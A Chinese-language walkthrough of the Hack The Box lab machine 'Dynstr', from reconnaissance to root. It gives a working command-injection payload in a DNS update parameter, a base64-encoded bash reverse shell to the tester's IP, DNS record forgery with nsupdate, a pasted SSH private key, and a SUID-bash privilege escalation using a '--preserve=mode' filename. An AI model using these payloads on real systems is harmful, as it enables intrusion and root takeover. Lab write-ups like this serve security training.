Hackthebox - Dynstr
靶场信息
靶场类型
信息搜集
首先使用nmap进行端口扫描
我们可以看到,开启了22 53 80三个端口,让我们访问80端口看看
访问后,我们找到了三个域名,老规矩,添加进hosts
echo "10.10.10.244 dnsalias.htb dynamicdns.htb no-ip.htb dyna.htb dynstr.htb" >> /etc/hosts
我访问了一下这几个域名,并没有什么东西,那咱们做个信息搜集吧
就拿最短的dyna.htb入手吧
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://dyna.htb" -H "HOST: FUZZ.dyna.htb"
咱们需要过滤掉10909个字符 加上–hh 10909
啊这,结果啥都没找到,那只能去看看有没有啥公开漏洞了呀
ISC BIND 9.16.1搜索这个的漏洞
找到一个缓冲区溢出,但是却没有利用的exploit,这就很难受了呀。没办法,继续返回做信息搜集吧
咱们爆破一下目录吧
gobuster dir -u "http://dyna.htb" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
发现两个目录 /assets这个目录无法访问 /nic这个目录显示空白
咱们需要进一步fuzz
得到一个badauth,再加上在主页找到的凭证
Username: dynadns
Password: sndanyd
咱们使用curl的-u功能进行访问
curl -u dynadns:sndanyd http://dyna.htb/nic/update
得到了一个线索,nochg,咱们去Google一下这是啥东西
这导致no-ip dynamic dns看到相应代码
我们可以看到nochg告诉我们还没有提供要更新的主机名,所以让我们深入了解如何更新dns记录
所以我们可以更新dns记录,但是它需要有效
咱们先使用burp拦截一个请求
漏洞利用
访问http://dyna.htb/nic/update?hostname=dyna.htb&myip=10.10.14.197
然后在请求暴力添加一个标头Authorization: Basic ZHluYWRuczpzbmRhbnlk
这个标头的base64里包含了账号密码
但是不知道为什么一直报错
经过多次尝试后,要随便加一个并不存在的子域名
成了
尝试了一下命令执行,提示报错,但可以确定是存在该漏洞的
https://github.com/LucifielHack/command-injection-payload-list
这是命令执行的表,大伙儿可以自个儿去fuzz一下
$(echo+id+|bash)”这是我测试出来的命令执行格式
现在咱们要反弹一个shell回去
首先本地监听一个端口
nc -nvlp 999
然后构造反弹的命令
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.197/999 0>&1'
由于直接放到burp里去执行很麻烦,所以咱们先给他转为base64
L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE5Ny85OTkgMD4mMSc=然后使用管道功能进行解码,然后再通过管道传回bash
/nic/update?hostname=\$(echo+L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE5Ny85OTkgMD4mMSc=+|+base64+-d+|+bash)"arz.no-ip.htb&myip=10.10.14.197
成功弹回shell
使用python3获得一个较为稳定的shell
咱们查看了一下passwd文件,发现了有一个bindmgr用户,同时在/home目录下也有他的文件夹
咱们进去查看一下
咱们似乎发现了一些有趣的东西
我们查看一下C62796521-debugging.script
查看的同时会发现内容有点多,容易造成乱码。大家看仔细点,反正我是看的脑瓜子疼
复制出来后,经过处理保存到本地,成功获得了一个ssh的密钥,咱们去登录试试
但是这还是需要密码,这指定是不对啊,咱们再去看看
咱们查看了一下update的源代码,可以看到nsupdate与密钥一起使用/etc/bind/ddns.key
所以这里要使用不同的密钥,咱们进入/etc/bind
咱们需要讲infra.key添加到DNS记录
nsupdate -v -k /etc/bind/infra.key
update add arz.infra.dyna.htb 86400 a 10.10.14.197
send
show
这时候如果我们运行nslookup,我们会得到一个回复,这意味着这个记录已经被添加进去了
但是我们仍然无法通过 ssh 登录,因为 dns 的使用已启用,因为 ssh 会进行反向 dns 查找过程,因此域名正在解析为 IP,但 IP 地址不会解析为域名,因此我们需要添加PTR记录为此目的
咱们去添加一个A记录
nsupdate -k /etc/bind/infra.key
update add anything.infra.dyna.htb 86400 A 10.10.14.197
此行为空格 下一行的IP为D.C.B.A格式,也就是把我们的IP反过来
update add 197.14.10.10.in-addr.arpa. 300 PTR anything.infra.dyna.htb
send
输入
echo "-----BEGIN OPENSSH PRIVATE KEY-----\\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\\n-----END OPENSSH PRIVATE KEY-----\\n" > id\_rsa
即可获得我们的密钥,通过上面的方式咱们自己获得也可以
这里添加A记录以后,咱们去尝试ssh登录
成功拿到bindmgr账户权限
成功获得user权限flag
权限提升
咱们使用sudo -l查看一下sudo权限
发现可以执行bindmgr.sh文件,咱们先去看一下
这里咱们检查一下.version文件兵使用通配符*复制所有内容
find / -name ".version" 2>/dev/null
我们可以看到,.version在/etc/文件夹中,所有这个文件会在哪里运行
这里我们要做的事创建.version文件并添加42到它里面
echo 42 > .version
首先我们复制/bin/bash到当前目录并使其成为SUID二进制文件
cp /bin/bash .
chmod +s bash
ls -la
下面图片错了,请见谅
我们创建一个名为–preserve=mode的文件来利用它,同时复制它会保留这个目录中文件的属性,就像bash有SUID所以它会保留那些属性并将其复制到/etc/bind/named.bindmgr为root权限
echo > --preserve=mode
ls -la
现在只需要运行sudo脚本
sudo /usr/local/bin/bindmgr.sh
执行./bash -p即可提权
cd /etc/bind/named.bindmgr
./bash -p
成功拿到root权限的flag
收工睡觉